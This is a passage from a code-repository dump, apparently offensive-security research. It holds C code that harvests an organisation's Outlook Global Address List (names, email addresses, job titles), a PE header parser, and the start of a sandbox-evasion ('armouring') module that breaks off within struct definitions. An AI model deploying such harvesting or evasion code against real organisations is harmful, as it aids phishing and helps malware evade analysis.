{\n\t\tHeapDestroy(*pHeapHandle);\n\t\treturn E_FAIL;\n\t}\n\n\t// 3. Set the function addresses.\n\tOutlookUtil* dst = *ppOutlookUtil;\n\tdst->lpVtbl.Initialise = &Initialise;\n\tdst->lpVtbl.Uninitialise = &Uninitialise;\n\tdst->lpVtbl.GetGlobalAddressList = &GetGlobalAddressList;\n\treturn S_OK;\n}\n\n_Use_decl_annotations_\nHRESULT __stdcall OuFreeOutlookUtilClass(\n\t_In_ OutlookUtil** ppOutlookUtil,\n\t_In_ PHANDLE       pHeapHandle\n) {\n\tif (ppOutlookUtil == NULL || pHeapHandle == NULL)\n\t\treturn E_INVALIDARG;\n\n\t*ppOutlookUtil = NULL;\n\tHeapDestroy(*pHeapHandle);\n\treturn S_OK;\n}\n\n_Use_decl_annotations_\nHRESULT STDMETHODCALLTYPE GetGlobalAddressList(\n\t_In_  OutlookUtil*           pOutlookUtil,\n\t_Out_ PLONG                  plCount,\n\t_Out_ OutlookContactRecord** ppContactRecords\n) {\n\tif (pOutlookUtil == NULL || ppContactRecords == NULL)\n\t\treturn E_INVALIDARG;\n\tif (!pOutlookUtil->m_bInitialised)\n\t\treturn E_FAIL;\n\n\t// 1. Get the different dispatch interfaces ready\n\tIDispatch* pIApplication = NULL;\n\tEXIT_ON_ERROR(OupGetApplicationDispatchInterface(&pIApplication));\n\n\tIDispatch* pINamespace = NULL;\n\tVARIANT Namespace = { 0x00 };\n\tNamespace.vt = VT_BSTR;\n\tNamespace.bstrVal = SysAllocString(L\"MAPI\");\n\tEXIT_ON_ERROR(OupGetDispatchInterface(\n\t\tpIApplication,\n\t\tL\"GetNamespace\",\n\t\t&Namespace,\n\t\t0x01,\n\t\t&pINamespace,\n\t\t(DISPID*)NULL\n\t));\n\n\tIDispatch* pIAddressList = NULL;\n\tEXIT_ON_ERROR(OupGetDispatchInterface(\n\t\tpINamespace,\n\t\tL\"GetGlobalAddressList\",\n\t\t(VARIANT*)NULL,\n\t\t0x00,\n\t\t&pIAddressList,\n\t\t(DISPID*)NULL\n\t));\n\n\tIDispatch* pIAddressEntries = NULL;\n\tEXIT_ON_ERROR(OupGetDispatchInterface(\n\t\tpIAddressList,\n\t\tL\"AddressEntries\",\n\t\t(VARIANT*)NULL,\n\t\t0x00,\n\t\t&pIAddressEntries,\n\t\t(DISPID*)NULL\n\t));\n\n\t// 2. Get total number of entries\n\tVARIANT vRecords = { 0x00 };\n\tEXIT_ON_ERROR(OupGetDispatchInterfaceProperty(\n\t\tpIAddressEntries,\n\t\tL\"Count\",\n\t\tVT_I4,\n\t\tNULL,\n\t\t&vRecords\n\t));\n\n\t// 3. Allocate memory for all the records\n\tSIZE_T llMaxSize = sizeof(OutlookContactRecord) * vRecords.llVal;\n\t*ppContactRecords = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, llMaxSize);\n\n\t// 4. Loop through each AddressEntry dispatch interfaces\n\tDISPID ItemId = 0x00;\n\tDISPID AddressEntryUserTypeId = 0x00;\n\tDISPID GetExchangeUserId = 0x00;\n\tOutlookContactRecord* dst = *ppContactRecords;\n\n\tVARIANT ItemIndex = { 0x00 };\n\tItemIndex.vt = VT_I4;\n\n\tLONG cx = 0x00;\n\tfor (; cx < vRecords.llVal; cx++) {\n\t\tIDispatch* pAddressEntry = NULL;\n\t\tItemIndex.llVal = cx + 1;\n\n\t\t// Get the IAddressEntry dispatch interface\n\t\tEXIT_ON_ERROR(OupGetDispatchInterface(\n\t\t\tpIAddressEntries,\n\t\t\tL\"Item\",\n\t\t\t&ItemIndex,\n\t\t\t0x01,\n\t\t\t&pAddressEntry,\n\t\t\t&ItemId\n\t\t));\n\n\t\t// Get the contact type and avoid mail-chain\n\t\tVARIANT EntryType = { 0x00 };\n\t\tEXIT_ON_ERROR(OupGetDispatchInterfaceProperty(\n\t\t\tpAddressEntry,\n\t\t\tL\"AddressEntryUserType\",\n\t\t\tVT_I4,\n\t\t\t&AddressEntryUserTypeId,\n\t\t\t&EntryType\n\t\t));\n\t\tif ((OlAddressEntryUserType)EntryType.llVal != olExchangeUserAddressEntry)\n\t\t\tcontinue;\n\n\t\t// Get the Exchange User dispatch interface\n\t\tIDispatch* pExchangeUser = NULL;\n\t\tEXIT_ON_ERROR(OupGetDispatchInterface(\n\t\t\tpAddressEntry,\n\t\t\tL\"GetExchangeUser\",\n\t\t\tNULL,\n\t\t\t0x00,\n\t\t\t&pExchangeUser,\n\t\t\t&GetExchangeUserId\n\t\t));\n\n\t\t// Get the data out of the ExchangeUser dispatch interface\n\t\tVARIANT Data = { 0x00 };\n\t\tOupGetDispatchInterfaceProperty(pExchangeUser, L\"Name\", VT_BSTR, NULL, &Data);\n\t\tdst->Name = SysAllocString(Data.bstrVal);\n\n\t\tOupGetDispatchInterfaceProperty(pExchangeUser, L\"FirstName\", VT_BSTR, NULL, &Data);\n\t\tdst->FirstName = SysAllocString(Data.bstrVal);\n\n\t\tOupGetDispatchInterfaceProperty(pExchangeUser, L\"LastName\", VT_BSTR, NULL, &Data);\n\t\tdst->LastName = SysAllocString(Data.bstrVal);\n\n\t\tOupGetDispatchInterfaceProperty(pExchangeUser, L\"PrimarySmtpAddress\", VT_BSTR, NULL, &Data);\n\t\tdst->PrimarySmtpAddress = SysAllocString(Data.bstrVal);\n\n\t\tOupGetDispatchInterfaceProperty(pExchangeUser, L\"JobTitle\", VT_BSTR, NULL, &Data);\n\t\tdst->JobTitle = SysAllocString(Data.bstrVal);\n\n\t\tOupGetDispatchInterfaceProperty(pExchangeUser, L\"Department\", VT_BSTR, NULL, &Data);\n\t\tdst->Department = SysAllocString(Data.bstrVal);\n\n\t\tOupGetDispatchInterfaceProperty(pExchangeUser, L\"OfficeLocation\", VT_BSTR, NULL, &Data);\n\t\tdst->OfficeLocation = SysAllocString(Data.bstrVal);\n\n\t\tOupGetDispatchInterfaceProperty(pExchangeUser, L\"City\", VT_BSTR, NULL, &Data);\n\t\tdst->City = SysAllocString(Data.bstrVal);\n\n\t\tdst++;\n\t\t(*plCount)++;\n\t}\n\n\treturn S_OK;\n}\n\n_Use_decl_annotations_\nHRESULT STDMETHODCALLTYPE OupGetApplicationDispatchInterface(\n\t_Out_ IDispatch** ppIDispatch\n) {\n\tif (ppIDispatch == NULL)\n\t\treturn E_INVALIDARG;\n\n\t// 1. Get the CLSID of Outlook.Application.\n\tCLSID CLSIDOutlookApplication = { 0x00 };\n\tif (FAILED(CLSIDFromProgID(L\"Outlook.Application\", &CLSIDOutlookApplication)))\n\t\treturn E_FAIL;\n\n\t// 2. Get instance of the dispatch interface\n\tEXIT_ON_ERROR(CoCreateInstance(\n\t\t&CLSIDOutlookApplication,\n\t\tNULL,\n\t\tCLSCTX_LOCAL_SERVER,\n\t\t&IID_IDispatch,\n\t\tppIDispatch\n\t));\n\n\t// 3. Exit\n\tif (*ppIDispatch == NULL)\n\t\treturn E_FAIL;\n\treturn S_OK;\n}\n\n_Use_decl_annotations_\nHRESULT STDMETHODCALLTYPE OupGetDispatchInterface(\n\t_In_        IDispatch*  pInterface,\n\t_In_        LPOLESTR    szMethodName,\n\t_In_opt_    VARIANT*    pVariables,\n\t_In_        DWORD       dwVaraibles,\n\t_Out_       IDispatch** ppIDispatch,\n\t_Inout_opt_ DISPID*     pDispatchId\n) {\n\tif (pInterface == NULL || szMethodName == NULL || ppIDispatch == NULL)\n\t\treturn E_INVALIDARG;\n\n\t// 1. Get the dispatch ID of the method.\n\tDISPID DispatchId = 0x00;\n\tif (pDispatchId != NULL && *pDispatchId != 0x00) {\n\t\tDispatchId = *pDispatchId;\n\t}\n\telse {\n\t\tEXIT_ON_ERROR(pInterface->lpVtbl->GetIDsOfNames(\n\t\t\tpInterface,\n\t\t\t&IID_NULL,\n\t\t\t&szMethodName,\n\t\t\t0x01,\n\t\t\tNULL,\n\t\t\t&DispatchId\n\t\t));\n\t\tif (pDispatchId != NULL)\n\t\t\t*pDispatchId = DispatchId;\n\t}\n\t\n\t// 2. Get the parameters ready\n\tEXCEPINFO Exception = { 0x00 };\n\tVARIANT Result = { 0x00 };\n\n\tDISPPARAMS Parameters = { 0x00 };\n\tif (dwVaraibles != 0x00) {\n\t\tParameters.cArgs = dwVaraibles;\n\t\tParameters.rgvarg = pVariables;\n\t}\n\n\t// 3. Get the dispatch interface via the initial interface\n\tEXIT_ON_ERROR(pInterface->lpVtbl->Invoke(\n\t\tpInterface,\n\t\tDispatchId,\n\t\t&IID_NULL,\n\t\tLOCALE_SYSTEM_DEFAULT,\n\t\tDISPATCH_METHOD,\n\t\t&Parameters,\n\t\t&Result,\n\t\t&Exception,\n\t\tNULL\n\t));\n\n\t// 4. Check that this is the correct VARIANT type\n\tif (Result.vt != VT_DISPATCH)\n\t\treturn E_FAIL;\n\t*ppIDispatch = Result.pdispVal;\n\n\t// 5. Exit\n\treturn S_OK;\n}\n\n_Use_decl_annotations_\nHRESULT STDMETHODCALLTYPE OupGetDispatchInterfaceProperty(\n\t_In_        IDispatch* pInterface,\n\t_In_        LPOLESTR   szProperty,\n\t_In_        DWORD      dwPropertyType,\n\t_Inout_opt_ DISPID*    pDispatchId,\n\t_Out_       VARIANT*   pProperty\n) {\n\tif (pInterface == NULL || szProperty == NULL || pProperty == NULL)\n\t\treturn E_INVALIDARG;\n\n\t// 1. Get the dispatch ID of the method.\n\tDISPID DispatchId = 0x00;\n\tif (pDispatchId != NULL && *pDispatchId != 0x00) {\n\t\tDispatchId = *pDispatchId;\n\t}\n\telse {\n\t\tEXIT_ON_ERROR(pInterface->lpVtbl->GetIDsOfNames(\n\t\t\tpInterface,\n\t\t\t&IID_NULL,\n\t\t\t&szProperty,\n\t\t\t0x01,\n\t\t\tNULL,\n\t\t\t&DispatchId\n\t\t));\n\t\tif (pDispatchId != NULL)\n\t\t\t*pDispatchId = DispatchId;\n\t}\n\t\n\t// 2. Get the parameters ready\n\tEXCEPINFO Exception = { 0x00 };\n\tVARIANT Result = { 0x00 };\n\n\tDISPPARAMS Parameters = { 0x00 };\n\tParameters.cArgs = 0;\n\n\t// 3. Get the property\n\tEXIT_ON_ERROR(pInterface->lpVtbl->Invoke(\n\t\tpInterface,\n\t\tDispatchId,\n\t\t&IID_NULL,\n\t\tLOCALE_SYSTEM_DEFAULT,\n\t\tDISPATCH_PROPERTYGET,\n\t\t&Parameters,\n\t\t&Result,\n\t\t&Exception,\n\t\tNULL\n\t));\n\n\t// 4. Check that this is the correct VARIANT type\n\tif (Result.vt != dwPropertyType)\n\t\treturn E_FAIL;\n\t*pProperty = Result;\n\n\t// 5. Exit\n\treturn S_OK;\n}\n"
  },
  {
    "path": "Portable Executable/parse_header.c",
    "content": "/*+===================================================================\n  File:      parse_header.c\n\n  Summary:   Parse information from PE header of an image.\n\n  Classes:   N/A\n\n  Functions: N/A\n\n  Origin:    https://github.com/am0nsec\n\n##\n\n  Author: Paul Laine (@am0nsec)\n===================================================================+*/\n#include <Windows.h>\n#include <stdio.h>\n\n/*--------------------------------------------------------------------\n  STRUCTURES\n--------------------------------------------------------------------*/\ntypedef struct _LSA_UNICODE_STRING {\n\tUSHORT Length;\n\tUSHORT MaximumLength;\n\tPWSTR  Buffer;\n} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING, * PUNICODE_STR;\n\ntypedef struct _LDR_MODULE {\n\tLIST_ENTRY              InLoadOrderModuleList;\n\tLIST_ENTRY              InMemoryOrderModuleList;\n\tLIST_ENTRY              InInitializationOrderModuleList;\n\tPVOID                   BaseAddress;\n\tPVOID                   EntryPoint;\n\tULONG                   SizeOfImage;\n\tUNICODE_STRING          FullDllName;\n\tUNICODE_STRING          BaseDllName;\n\tULONG                   Flags;\n\tSHORT                   LoadCount;\n\tSHORT                   TlsIndex;\n\tLIST_ENTRY              HashTableEntry;\n\tULONG                   TimeDateStamp;\n} LDR_MODULE, * PLDR_MODULE;\n\ntypedef struct _PEB_LDR_DATA {\n\tULONG                   Length;\n\tULONG                   Initialized;\n\tPVOID                   SsHandle;\n\tLIST_ENTRY              InLoadOrderModuleList;\n\tLIST_ENTRY              InMemoryOrderModuleList;\n\tLIST_ENTRY              InInitializationOrderModuleList;\n} PEB_LDR_DATA, * PPEB_LDR_DATA;\n\ntypedef struct _PEB {\n\tBOOLEAN                 InheritedAddressSpace;\n\tBOOLEAN                 ReadImageFileExecOptions;\n\tBOOLEAN                 BeingDebugged;\n\tBOOLEAN                 Spare;\n\tHANDLE                  Mutant;\n\tPVOID                   ImageBase;\n\tPPEB_LDR_DATA           LoaderData;\n\tPVOID                   ProcessParameters;\n\tPVOID                   SubSystemData;\n\tPVOID                   ProcessHeap;\n\tPVOID                   FastPebLock;\n\tPVOID                   FastPebLockRoutine;\n\tPVOID                   FastPebUnlockRoutine;\n\tULONG                   EnvironmentUpdateCount;\n\tPVOID* KernelCallbackTable;\n\tPVOID                   EventLogSection;\n\tPVOID                   EventLog;\n\tPVOID                   FreeList;\n\tULONG                   TlsExpansionCounter;\n\tPVOID                   TlsBitmap;\n\tULONG                   TlsBitmapBits[0x2];\n\tPVOID                   ReadOnlySharedMemoryBase;\n\tPVOID                   ReadOnlySharedMemoryHeap;\n\tPVOID* ReadOnlyStaticServerData;\n\tPVOID                   AnsiCodePageData;\n\tPVOID                   OemCodePageData;\n\tPVOID                   UnicodeCaseTableData;\n\tULONG                   NumberOfProcessors;\n\tULONG                   NtGlobalFlag;\n\tBYTE                    Spare2[0x4];\n\tLARGE_INTEGER           CriticalSectionTimeout;\n\tULONG                   HeapSegmentReserve;\n\tULONG                   HeapSegmentCommit;\n\tULONG                   HeapDeCommitTotalFreeThreshold;\n\tULONG                   HeapDeCommitFreeBlockThreshold;\n\tULONG                   NumberOfHeaps;\n\tULONG                   MaximumNumberOfHeaps;\n\tPVOID** ProcessHeaps;\n\tPVOID                   GdiSharedHandleTable;\n\tPVOID                   ProcessStarterHelper;\n\tPVOID                   GdiDCAttributeList;\n\tPVOID                   LoaderLock;\n\tULONG                   OSMajorVersion;\n\tULONG                   OSMinorVersion;\n\tULONG                   OSBuildNumber;\n\tULONG                   OSPlatformId;\n\tULONG                   ImageSubSystem;\n\tULONG                   ImageSubSystemMajorVersion;\n\tULONG                   ImageSubSystemMinorVersion;\n\tULONG                   GdiHandleBuffer[0x22];\n\tULONG                   PostProcessInitRoutine;\n\tULONG                   TlsExpansionBitmap;\n\tBYTE                    TlsExpansionBitmapBits[0x80];\n\tULONG                   SessionId;\n} PEB, * PPEB;\n\n/*--------------------------------------------------------------------\n  FUNCTIONS DEFINITION\n--------------------------------------------------------------------*/\nBOOL    PlLoadLibrary(LPCWSTR szDllName);\n\n/*--------------------------------------------------------------------\n  GLOBAL VARIABLES\n--------------------------------------------------------------------*/\n#define SIZE_OF_IMAGE_SECTION_HEADER 0x28\nDWORD64 g_dwModuleBaseAddress;\n\n/*--------------------------------------------------------------------\n  Entry Point\n--------------------------------------------------------------------*/\nint wmain(int argc, wchar_t* argv[], wchar_t* envp[]) {\n\twprintf(L\"[>] Parse PE Header\\n\");\n\twprintf(L\"[>] Author: Paul Laine (@am0nsec)\\n\");\n\twprintf(L\"    -----------------------------\\n\\n\");\n\n\tif (argc < 2) {\n\t\twprintf(L\"[-] Missing parameter\\n\");\n\t\twprintf(L\"[-] Usage: %s <path to image>\\n\", argv[0]);\n\t\treturn 0x1;\n\t}\n\n\t/*--------------------------------------------------------------------\n\t  Load the DLL into the memory space of the process\n\t--------------------------------------------------------------------*/\n\twprintf(L\"[>] Loading %s into current process ...\\n\", argv[1]);\n\tBOOL success = PlLoadLibrary(argv[1]);\n\tif (!success) {\n\t\twprintf(L\"[-] Unable to load: %s\\n\\n\", argv[1]);\n\t\treturn 0x1;\n\t}\n\twprintf(L\"[+] Loading %s into current process ... OK\\n\", argv[1]);\n\n\tPIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)g_dwModuleBaseAddress;\n\tif (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {\n\t\twprintf(L\"[-] Invalid DOS header\\n\");\n\t\treturn 1;\n\t}\n\n\t/*--------------------------------------------------------------------\n\t  The MS-DOS Real-Mode Stub Program being between the MS-DOS MZ header\n\t  and the NT Headers (PE FILE Signature + PE File Header + PE File \n\t  Optional Heder), the e_lfanew variable provide address of the next\n\t  PE header.\n    --------------------------------------------------------------------*/\n\twprintf(L\"\\n[>] Parse PE header ...\\n\");\n\tPIMAGE_NT_HEADERS pImageNtHeader = (PIMAGE_NT_HEADERS)(g_dwModuleBaseAddress + pImageDosHeader->e_lfanew);\n\tif (pImageNtHeader->Signature != IMAGE_NT_SIGNATURE) {\n\t\twprintf(L\"[-] Invalid NT header\\n\");\n\t\treturn 1;\n\t}\n\n\t/*--------------------------------------------------------------------\n\t  The IMAGE_FILE_HEADER structure is just after the NT Header signature,\n\t  which is a DWORD.\n\t--------------------------------------------------------------------*/\n\tPIMAGE_FILE_HEADER pImageFileHeader = (PIMAGE_FILE_HEADER)((PBYTE)pImageNtHeader + sizeof(DWORD));\n\t\n\t/*--------------------------------------------------------------------\n\t  The IMAGE_OPTIONAL_HEADER structure is just after the \n\t  IMAGE_FILE_HEADER structure from the NT Header.\n\t  IMAGE_SIZEOF_FILE_HEADER = 20\n\t--------------------------------------------------------------------*/\n\tPIMAGE_OPTIONAL_HEADER pImageOptionalHeader = (PIMAGE_OPTIONAL_HEADER)((PBYTE)pImageFileHeader + IMAGE_SIZEOF_FILE_HEADER);\n\tif (g_dwModuleBaseAddress != pImageOptionalHeader->ImageBase) {\n\t\twprintf(L\"[-] Invalid PE optional file header\\n\");\n\t\treturn 1;\n\t}\n\twprintf(L\"   - ImageBase:     0x%016llx\\n\", g_dwModuleBaseAddress);\n\twprintf(L\"   - Entry Point:   0x%016llx\\n\", (g_dwModuleBaseAddress + pImageOptionalHeader->AddressOfEntryPoint));\n\twprintf(L\"   - Image Version: %d.%d\\n\", pImageOptionalHeader->MajorImageVersion, pImageOptionalHeader->MinorImageVersion);\n\twprintf(L\"   - SizeOfImage:   0x%08x\\n\", pImageOptionalHeader->SizeOfImage);\n\twprintf(L\"[+] Parse PE header ... OK\\n\\n\");\n\n\n\t/*--------------------------------------------------------------------\n\t  The IMAGE_OPTIONAL_HEADER structure is just after the IMAGE_FILE_HEADER\n \t  structure from the NT Header. IMAGE_SIZEOF_FILE_HEADER = 20\n\t--------------------------------------------------------------------*/\n\twprintf(L\"[>] Parse section headers ...\\n\");\n\tfor (WORD i = 0; i < pImageFileHeader->NumberOfSections; i++) {\n\t\tDWORD64 dwFirstImageSectionHeaderAddress = g_dwModuleBaseAddress + pImageDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS64);\n\t\tPIMAGE_SECTION_HEADER pImageSectionHeader = (PIMAGE_SECTION_HEADER)(dwFirstImageSectionHeaderAddress + (SIZE_OF_IMAGE_SECTION_HEADER * i));\n\t\tprintf(\"   - 0x%016llx  %s\\n\", (g_dwModuleBaseAddress + pImageSectionHeader->VirtualAddress), pImageSectionHeader->Name);\n\t}\n\twprintf(L\"[+] Parse section headers ... OK\\n\\n\");\n\t\n\n\t/*--------------------------------------------------------------------\n\t  The virtual address from the first IMAGE_DATA_DIRECTORY pointes to the\n\t  IMAGE_EXPORT_DIRECTORY structure, which list all the exported functions\n\t  of the module.\n\t--------------------------------------------------------------------*/\n\twprintf(L\"[>] Parse the export directory ... \\n\");\n\tPIMAGE_EXPORT_DIRECTORY pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(g_dwModuleBaseAddress + pImageOptionalHeader->DataDirectory[0].VirtualAddress);\n\tPDWORD pdwAddressOfFunctions = (PDWORD)(g_dwModuleBaseAddress + pImageExportDirectory->AddressOfFunctions);\n\tPDWORD pdwAddressOfNames = (PDWORD)(g_dwModuleBaseAddress + pImageExportDirectory->AddressOfNames);\n\tPWORD pwAddressOfNameOrdinales = (PWORD)(g_dwModuleBaseAddress + pImageExportDirectory->AddressOfNameOrdinals);\n\twprintf(L\"   - NumberOfFunctions: %d\\n\", pImageExportDirectory->NumberOfFunctions);\n\n\tDWORD cx;\n\tfor (cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) {\n\t\tPCHAR pczFunctionName = (PCHAR)(g_dwModuleBaseAddress + pdwAddressOfNames[cx]);\n\t\tDWORD64 dwFunctionAddress = g_dwModuleBaseAddress + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];\n\t\tprintf(\"   - 0x%016llx %s\\n\", dwFunctionAddress, pczFunctionName);\n\t}\n\n\twprintf(L\"[+] Parse the export directory ... OK\");\n\n\treturn 0x0;\n}\n\n/*F+F+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n  Function: PlLoadLibrary\n\n  Summary:  Load a library in to the memory space of the process.\n            First check if the DLL exist.\n\t\t\tSet the g_dwModuleBaseAddress varaible with the base address\n\t\t\tof the dll.\n\n  Args:     LPCWSTR szDllName\n\t\t\t  Absolut path of the DLL to load.\n\n  Returns:  BOOL\n\t\t\t  Return true of the DLL was successfully loaded.\n-----------------------------------------------------------------F-F*/\nBOOL PlLoadLibrary(LPCWSTR szDllName) {\n\t// Check if file exist\n\tDWORD dwSuccess = GetFileAttributes(szDllName);\n\tif (dwSuccess == INVALID_FILE_ATTRIBUTES) {\n\t\treturn FALSE;\n\t}\n\n\t// Load the DLL \n\t// HMODULE being the base address of the DLL\n\tg_dwModuleBaseAddress = (DWORD64)LoadLibrary(szDllName);\n\tif (g_dwModuleBaseAddress == 0x0) {\n\t\treturn FALSE;\n\t}\n\n\treturn TRUE;\n}\n"
  },
  {
    "path": "Power Management/README.md",
    "content": "# Deus Somnum \nSource code for the Deus Somnum armouring technique against sandboxs.\n\nFurther information can be found here: https://vxug.fakedoma.in/papers/Deus%20Somnum.pdf\n"
  },
  {
    "path": "Power Management/deus_somnum_pic.c",
    "content": "#pragma once\n#include <windows.h>\n\ntypedef struct _INITIAL_TEB {\n\tPVOID                StackBase;\n\tPVOID                StackLimit;\n\tPVOID                StackCommit;\n\tPVOID                StackCommitMax;\n\tPVOID                StackReserved;\n} INITIAL_TEB, * PINITIAL_TEB;\n\ntypedef struct __CLIENT_ID {\n\tHANDLE UniqueProcess;\n\tHANDLE UniqueThread;\n} CLIENT_ID, * PCLIENT_ID;\n\ntypedef struct _PEB_LDR_DATA {\n\tULONG                   Length;\n\tULONG                   Initialized;\n\tPVOID                   SsHandle;\n\tLIST_ENTRY              InLoadOrderModuleList;\n\tLIST_ENTRY              InMemoryOrderModuleList;\n\tLIST_ENTRY              InInitializationOrderModuleList;\n} PEB_LDR_DATA, * PPEB_LDR_DATA;\n\ntypedef PVOID PACTIVATION_CONTEXT;\n\ntypedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME {\n\tstruct __RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous;\n\tPACTIVATION_CONTEXT ActivationContext;\n\tULONG Flags;\n} RTL_ACTIVATION_CONTEXT_STACK_FRAME, * PRTL_ACTIVATION_CONTEXT_STACK_FRAME;\n\ntypedef struct _ACTIVATION_CONTEXT_STACK {\n\tPRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame;\n\tLIST_ENTRY FrameListCache;\n\tULONG Flags;\n\tULONG NextCookieSequenceNumber;\n\tULONG StackId;\n} ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK;\n\ntypedef struct _LSA_UNICODE_STRING {\n\tUSHORT Length;\n\tUSHORT MaximumLength;\n\tPWSTR  Buffer;\n} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING, * PUNICODE_STR;\n\ntypedef struct _OBJECT_ATTRIBUTES {\n\tULONG Length;\n\tPVOID RootDirectory;\n\tPUNICODE_STRING ObjectName;\n\tULONG Attributes;\n\tPVOID SecurityDescriptor;\n\tPVOID SecurityQualityOfService;\n} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;\n\ntypedef struct _LDR_MODULE {\n\tLIST_ENTRY              InLoadOrderModuleList;\n\tLIST_ENTRY              InMemoryOrderModuleList;\n\tLIST_ENTRY              InInitializationOrderModuleList;\n\tPVOID                   BaseAddress;\n\tPVOID                   EntryPoint;\n\tULONG                   SizeOfImage;\n\tUNICODE_STRING          FullDllName;\n\tUNICODE_STRING          BaseDllName;\n\tULONG                   Flags;\n\tSHORT                   LoadCount;\n\tSHORT                   TlsIndex;\n\tLIST_ENTRY              HashTableEntry;\n\tULONG                   TimeDateStamp;\n} LDR_MODULE, * PLDR_MODULE;\n\ntypedef struct _GDI_TEB_BATCH {\n\tULONG Offset;\n\tULONG HDC;\n\tULONG Buffer[310];\n} GDI_TEB_BATCH, * PGDI_TEB_BATCH;\n\ntypedef struct _TEB_ACTIVE_FRAME_CONTEXT {\n\tULONG Flags;\n\tPCHAR FrameName;\n} TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT;\n\ntypedef struct _TEB_ACTIVE_FRAME {\n\tULONG Flags;\n\tstruct _TEB_ACTIVE_FRAME* Previous;\n\tPTEB_ACTIVE_FRAME_CONTEXT Context;\n} TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME;\n\ntypedef struct _PEB {\n\tBOOLEAN                 InheritedAddressSpace;\n\tBOOLEAN                 ReadImageFileExecOptions;\n\tBOOLEAN                 BeingDebugged;\n\tBOOLEAN                 Spare;\n\tHANDLE                  Mutant;\n\tPVOID                   ImageBase;\n\tPPEB_LDR_DATA           LoaderData;\n\tPVOID                   ProcessParameters;\n\tPVOID                   SubSystemData;\n\tPVOID                   ProcessHeap;\n\tPVOID                   FastPebLock;\n\tPVOID                   FastPebLockRoutine;\n\tPVOID                   FastPebUnlockRoutine;\n\tULONG                   EnvironmentUpdateCount;\n\tPVOID* KernelCallbackTable;\n\tPVOID                   EventLogSection;\n\tPVOID                   EventLog;\n\tPVOID                   FreeList;\n\tULONG                   TlsExpansionCounter;\n\tPVOID                   TlsBitmap;\n\tULONG                   TlsBitmapBits[0x2];\n\tPVOID                   ReadOnlySharedMemoryBase;\n\tPVOID                   ReadOnlySharedMemoryHeap;\n\tPVOID* ReadOnlyStaticServerData;\n\tPVOID                   AnsiCodePageData;\n\tPVOID                   OemCodePageData;\n\tPVOID                   UnicodeCaseTableData;\n\tULONG                   NumberOfProcessors;\n\tULONG                   NtGlobalFlag;\n\tBYTE                    Spare2[0x4];\n\tLARGE_INTEGER           CriticalSectionTimeout;\n\tULONG                   HeapSegmentReserve;\n\tULONG                   HeapSegmentCommit;\n\tULONG                   HeapDeCommitTotalFreeThreshold;\n\tULONG                   HeapDeCommitFreeBlockThreshold;\n\tULONG                   NumberOfHeaps;\n\tULONG                   MaximumNumberOfHeaps;\n\tPVOID** ProcessHeaps;\n\tPVOID                   GdiSharedHandleTable;\n\tPVOID                   ProcessStarterHelper;\n\tPVOID                   GdiDCAttributeList;\n\tPVOID                   LoaderLock;\n\tULONG                   OSMajorVersion;\n\tULONG                   OSMinorVersion;\n\tULONG                   OSBuildNumber;\n\tULONG                   OSPlatformId;\n\tULONG                   ImageSubSystem;\n\tULONG                   ImageSubSystemMajorVersion;\n\tULONG                   ImageSubSystemMinorVersion;\n\tULONG                   GdiHandleBuffer[0x22];\n\tULONG                   PostProcessInitRoutine;\n\tULONG                   TlsExpansionBitmap;\n\tBYTE                    TlsExpansionBitmapBits[0x80];\n\tULONG                   SessionId;\n} PEB, * PPEB;\n\ntypedef struct _TEB {\n\tNT_TIB\t\t\t\tNtTib;\n\tPVOID\t\t\t\tEnvironmentPointer;\n\tCLIENT_ID\t\t\tClientId;\n\tPVOID\t\t\t\tActiveRpcHandle;\n\tPVOID\t\t\t\tThreadLocalStoragePointer;\n\tPPEB\t\t\t\tProcessEnvironmentBlock;\n\tULONG               LastErrorValue;\n\tULONG               CountOfOwnedCriticalSections;\n\tPVOID\t\t\t\tCsrClientThread;\n\tPVOID\t\t\t\tWin32ThreadInfo;\n\tULONG               User32Reserved[26];\n\tULONG               UserReserved[5];\n\tPVOID\t\t\t\tWOW32Reserved;\n\tLCID                CurrentLocale;\n\tULONG               FpSoftwareStatusRegister;\n\tPVOID\t\t\t\tSystemReserved1[54];\n\tLONG                ExceptionCode;\n#if (NTDDI_VERSION >= NTDDI_LONGHORN)\n\tPACTIVATION_CONTEXT_STACK* ActivationContextStackPointer;\n\tUCHAR                  SpareBytes1[0x30 - 3 * sizeof(PVOID)];\n\tULONG                  TxFsContext;\n#elif (NTDDI_VERSION >= NTDDI_WS03)\n\tPACTIVATION_CONTEXT_STACK ActivationContextStackPointer;\n\tUCHAR                  SpareBytes1[0x34 - 3 * sizeof(PVOID)];\n#else\n\tACTIVATION_CONTEXT_STACK ActivationContextStack;\n\tUCHAR                  SpareBytes1[24];\n#endif\n\tGDI_TEB_BATCH\t\t\tGdiTebBatch;\n\tCLIENT_ID\t\t\t\tRealClientId;\n\tPVOID\t\t\t\t\tGdiCachedProcessHandle;\n\tULONG                   GdiClientPID;\n\tULONG                   GdiClientTID;\n\tPVOID\t\t\t\t\tGdiThreadLocalInfo;\n\tPSIZE_T\t\t\t\t\tWin32ClientInfo[62];\n\tPVOID\t\t\t\t\tglDispatchTable[233];\n\tPSIZE_T\t\t\t\t\tglReserved1[29];\n\tPVOID\t\t\t\t\tglReserved2;\n\tPVOID\t\t\t\t\tglSectionInfo;\n\tPVOID\t\t\t\t\tglSection;\n\tPVOID\t\t\t\t\tglTable;\n\tPVOID\t\t\t\t\tglCurrentRC;\n\tPVOID\t\t\t\t\tglContext;\n\tNTSTATUS                LastStatusValue;\n\tUNICODE_STRING\t\t\tStaticUnicodeString;\n\tWCHAR                   